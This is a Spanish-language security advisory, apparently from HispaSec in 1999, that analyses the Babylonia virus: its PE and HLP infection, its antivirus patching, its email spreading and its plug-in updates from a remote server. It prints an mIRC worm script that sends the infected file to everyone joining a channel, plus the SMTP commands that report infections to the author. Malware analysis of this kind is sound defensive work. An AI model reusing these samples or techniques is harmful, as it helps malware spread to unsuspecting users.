Acaba de salir a la luz «Babylonia», el primer virus del mundo capaz
de autoactualizarse por Internet por medio de «plug-ins». Un agente
infeccioso que, por si lo anterior fuera poco, reúne las habilidades
de un i-worm en cuanto a su distribución, de un virus en cuanto a la
infección de ficheros, y de un troyano de «backdoor» en lo que a las
mencionadas actualizaciones se refiere.
El origen de «Babylonia», que ha causado multitud de infecciones en
sus primeras horas de difusión por la red, se remonta al grupo de
noticias «alt.crackers», cuando el 3 de diciembre fue enviado como
fichero adjunto, bajo el nombre «serialz.hlp», en un mensaje con el
que se ofrecía a los asiduos una recopilación de 17000 números de
serie para registrar de manera ilegal multitud de aplicaciones para
Windows de carácter comercial.
Lo que en realidad sucede al abrir este fichero de ayuda es que el
virus «Babylonia» es ejecutado, y así, éste procede a infectar los
ficheros EXE de formato PE (Portable Executable) y HLP (archivos de
ayuda de Windows), siempre que la plataforma en la que se estén
llevando a cabo estas acciones sea Windows95 o 98, ya que, debido
a que parte del código vírico corre bajo «ring-0» (el anillo de
prioridad máxima de ejecución) por medio de llamadas a la función
API indocumentada «VxDCall», este espécimen restringe su campo de
acción dejando fuera a aquellas máquinas que corren con WindowsNT.
El responsable de «Babylonia» es un conocido escritor de virus de
origen brasileño apodado «Vecna», ex-miembro de grupos como SGWW,
de la ex-Unión Soviética, y de los españoles 29A. Este programador,
cuya producción para Windows es probablemente la más extensa de
un creador de virus independiente, ya dio que hablar tiempo atrás
con especímenes tan complejos como «Inca» o «Cocaine», que hoy en
día siguen ocupando puestos de relativa significación en las listas
oficiales de virus «in the wild».
Instalación
———–
Tanto desde aplicaciones de formato PE como desde ficheros HLP, el
primer paso del virus consiste en obtener la dirección real de las
APIs necesarias para su correcta ejecución, momento a partir del
cual «Babylonia» procede a saltar a ring-0 para así, por medio de
la redirección de los servicios IFS (acceso a disco) dedicados a la
apertura, lectura o modificación de atributos y renombramiento de
ficheros, infectar tantas aplicaciones como sea posible. Durante el
proceso de instalación en memoria, el virus comprueba la presencia
de los monitores antivirus «Spider» (DrWeb) y «AVP» y, en caso de
encontrarse activos, intenta parchearlos de manera que les resulte
imposible abrir ficheros susceptibles de ser escaneados. De acuerdo
con Eugene Kaspersky, debido a un «bug» el virus es incapaz de dejar
al «AVP Monitor» fuera de combate, de manera que acaba por desechar
la instalación de su código en memoria.
De manera paralela, «Babylonia» descomprime, por medio del método
«apLib», una aplicación adicional contenida en su código, de 4k de
longitud en total, cuyo código inyecta en un nuevo fichero que el
virus crea en el directorio raíz con el nombre «BABYLONIA.EXE». Y
es precisamente aquí donde radica la mayor particularidad de este
espécimen, ya que éste es el componente que permite la instalación
de los «plug-ins» víricos. Cuando este portador es ejecutado, su
funcionamiento consiste en autorregistrarse como un proceso oculto,
copiarse a sí mismo como «KERNEL32.EXE» en el directorio de sistema
de Windows, y asegurarse, por medio de la inserción del nombre de
esta copia en el registro de configuraciones, de ejecutarse y así
mantenerse residente en memoria en cada arranque del ordenador.
Propagación
———–
Una vez que «Babylonia» ha «aterrizado» en un ordenador, vemos que
su proceso de propagación sigue dos caminos: por un lado, el de la
infección de ejecutables y ficheros de ayuda en modo local, y por
otro, la difusión por medio de Internet como fichero adjunto a los
mensajes salientes de una máquina infectada.
La infección de ejecutables afecta a todos los ficheros de formato
PE y extensión EXE que son accedidos por medio de las funciones IFS
anteriormente enumeradas cuando «Babylonia» se encuentra residente
en memoria. Tras una serie de comprobaciones a partir de los datos
que se pueden encontrar en la cabecera PE tales como el procesador
bajo el cual está diseñada para funcionar la aplicación «víctima» o
la existencia de atributos de DLL, el virus determina si el fichero
debe ser infectado o no. El método empleado es el del «entry-point
obscuring» (EPO), mediante el cual se examina el código del archivo
a infectar en busca de una instrucción «call», la cual es parcheada
para llamar directamente al código vírico, en lugar de modificar el
punto de entrada original de la aplicación. Tras esto, el cuerpo
del virus es «colgado» de la última sección del fichero, salvo en
caso de que exista una sección con relocaciones, la cual pasaría a
ser directamente sobreescrita, evitando así el crecimiento en bytes
del tamaño de las aplicaciones infectadas.
Por su parte, la infección de ficheros de ayuda afecta a todos los
archivos de extensión «HLP». El método de infección es muy similar
al del virus «WinHLP.Demo»: por medio de un script polimórfico que
el virus inserta en la sección «SYSTEM» y del uso indocumentado de
la API «EnumWindows», «Babylonia» consigue que su código binario se
ejecute cada vez que un fichero de ayuda es abierto a partir de la
«aplicación madre» encargada de dicha tarea, «WINHELP.EXE».
Ya por último, la propagación por e-mail presenta pocas novedades
con respecto a la que ya hemos visto «gracias» a otros i-worms en
este mismo servicio de noticias. Así, la misión del virus consiste
en localizar el módulo «WSOCK32.DLL» y de parchear la API «send»,
con el objetivo de monitorizar todo lo que el usuario envía en sus
conexiones a Internet. Cuando se trata de un e-mail, a diferencia
de otros i-worms, «Babylonia» se limita a adjuntar simplemente una
copia de su código, independientemente de si el mensaje saliente
ya lleva originalmente algún «attach». Por si esto fuera poco, y
con el fin de asegurarse la compatibilidad con cualquier cliente
de correo, el virus dispone de sus propias rutinas de codificación
para formato UUencode y MIME, una característica sin precedentes en
los i-worms que conocemos hasta el momento.
El nombre y el icono de los ficheros añadidos por «Babylonia» a los
e-mails enviados por el usuario deberían ser distintos dependiendo
de la fecha interna de cada ordenador, y así, su autor preparó una
serie de iconos y nombres de fichero en función de las distintas
celebraciones o festividades que tienen lugar a lo largo del año,
tales como Navidades, Pascua o Halloween. Sin embargo, y de acuerdo
con Eugene Kaspersky, debido a un «bug» el nombre siempre resulta
ser «X-MAS.EXE», y el icono, una cara sonriente de Papá Noël, de
manera que la identificación del virus en el momento de su llegada
a nuestro ordenador se simplifica al máximo. Una vez que el fichero
portador del virus es ejecutado, y como ya es costumbre entre la
inmensa mayoría de los i-worms conocidos hasta el momento, la
atención del usuario es desviada por medio de un par de cuadros de
diálogo que advierten de un error que en realidad no ha tenido
lugar. En el caso de «Babylonia», los mensajes son éstos, donde la
«xx» del segundo es «95» o «NT», optando siempre por la alternativa
que sea distinta a la versión del sistema operativo que posea el
usuario que acaba de ejecutar el i-worm:
Loader Error
API not found!
Loader Error
Windows xx required!
This program will be terminated.
Actualización
————-
Sin duda, el aspecto más interesante y más peligroso de este virus
radica en su capacidad de actualizarse por medio de Internet. De
este modo, su autor puede añadir, quitar o cambiar cualquier rutina
o habilidad de su virus, de manera remota, y así hacer que todas
las copias de éste se actualicen e incorporen nuevas tecnologías,
que podrían incluír, entre otras, la destrucción de datos de un
ordenador infectado, haciendo que «Babylonia» funcionase como un
mero intérprete de las órdenes de su autor.
La técnica consiste en monitorizar la presencia de la aplicación
«RNAAPP.EXE», correspondiente al acceso telefónico a redes, de
manera que el virus se asegura de que el usuario está a punto de
iniciar una conexión a Internet. A partir de aquí, «Babylonia» se
dispone a contactar con «sok4ever.zone.ne.jp/vecna», dirección de
la que descarga el fichero «virus.txt», que contiene la relación de
«plug-ins» que el autor ha ido añadiendo de manera periódica para
su proyecto. De acuerdo con la información manejada por HispaSec,
«SOK4EVER» es la continuación de «Sources Of Kaos», un servidor de
hospedaje gratuito para páginas web con contenidos relacionados con
el mundo de los virus informáticos, que fue eliminado por el FBI
tras el revuelo causado por la aparición del virus «Melissa».
Según acabamos de comprobar, el propio webmaster de «SOK4EVER» ha
decidido dar de baja de manera fulminante la cuenta del escritor
brasileño Vecna, al percatarse del uso que éste estaba haciendo
de su servidor por medio de «Babylonia», de manera que cualquier
opción de éste de seguir actualizándose queda descartada de modo
tajante, al serle imposible de ahora en adelante dar con la cuenta
de su autor, a partir de la cual obtenía los «plug-ins» necesarios.
En cualquier caso, en el momento en el que el virus fue descubierto
se localizaron cuatro «plug-ins» que con toda probabilidad habrán
sido activados en la inmensa mayoría de las máquinas infectadas por
«Babylonia». De acuerdo con lo que hemos podido comprobar, estos
ficheros poseen un simple formato, compuesto por una cabecera de
identificación («VMOD», que significaría Virus/Vecna MODule) y una
referencia a la dirección de inicio de la rutina principal del
código a incorporar al virus. Veamos cuál es el cometido de cada
uno de estos «plug-ins» que el autor ha conseguido «lanzar».
DROPPER.DAT: se limita a comprobar si, aún estando el actualizador
vírico activo, «Babylonia» no ha infectado todavía el sistema en
que se está ejecutando. En caso afirmativo, el virus procede a
correr una aplicación de 17k llamada «INSTALAR.EXE», que activa el
virus y se borra a sí misma tras haber sido ejecutada.
IRC-WORM.DAT: convierte el virus en un gusano de mIRC con aspecto
de parche «Y2K», tras localizar el conocido cliente de IRC en el
disco duro de la máquina remota e insertar el siguiente código, por
medio del cual se envía a todos los usuarios de un canal en el que
se encuentre un usuario infectado:
[script]
n0=run $mircdir2kBug-MircFix.EXE
n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }
n2= /dcc send $nick $mircdir2kbugfix.ini
n3= /dcc send $nick $mircdir2kBug-MircFix.EXE
n4=}
POLL.DAT: envía al autor del virus un e-mail, de manera que éste
pueda efectuar un seguimiento de las infecciones que su virus va
produciendo a lo largo de Internet. Los comandos enviados por el
puerto 25 (SMTP) son los siguientes:
HELO rasta.net
MAIL FROM: babylonia@rasta.net
RCPT TO: babylonia_counter@hotmail.com
[…]
El cuerpo de los mensajes contiene una frase en portugués: «Quando
o mestre chegara?», que significa «¿Cuándo llegará el maestro?», lo
que nos hace pensar que el autor se preparaba algún «payload» poco
agradable para un futuro no muy lejano y que, por suerte, no llegará
a verse consumado.
GREETZ.DAT: se limita a modificar el fichero «AUTOEXEC.BAT» con una
serie de agradecimientos del autor a otros componentes de la escena
vírica, incluyendo al webmaster de «SOK4EVER», quien, como ya hemos
comentado, ha dado de baja al autor de «Babylonia» de su servidor.
El texto añadido es el siguiente:
echo W95/Babylonia by Vecna (c) 1999
echo Greetz to RoadKil and VirusBuster
echo Big thankz to sok4ever webmaster
echo Abracos pra galera brazuca!!!
echo —
echo Eu boto fogo na Babilonia!
Consejos
——–
Volvemos a remitirnos a las ya clásicas recomendaciones de no abrir
o ejecutar ningun archivo que no hayamos solicitado, aún si éste
proviniese de fuentes de confianza. Asimismo, recordamos que deben
descargar los parches «Y2K» desde las webs corporativas, según su
aplicación o sistema. Por último, y no menos importante, se aconseja
actualizar los ficheros de firma de los antivirus, especialmente
durante estos meses, ya que la llegada del nuevo año parece ser el
origen de una ola de nuevos especímenes por lo señalado de la fecha,
y para aprovechar la confusión que está provocando el efecto 2000.
Desde HispaSec vamos a realizar un seguimiento especial durante estas
fechas, del que tendrán cuenta en los próximos días. Instamos a todos
nuestros lectores a hacernos partícipes de cualquier infección de la
que puedan ser víctimas, y a formar parte activamente del equipo de
emergencia que estamos desplegando.
Más información:
AVP-ES
AVP (Karspersky Lab)
Computer Associates
Network Associates
Panda Software
Sophos
Symantec
Trend Micro
talvanti@hispasec.com
Bernardo Quintero
bernardo@hispasec.com
Deja una respuesta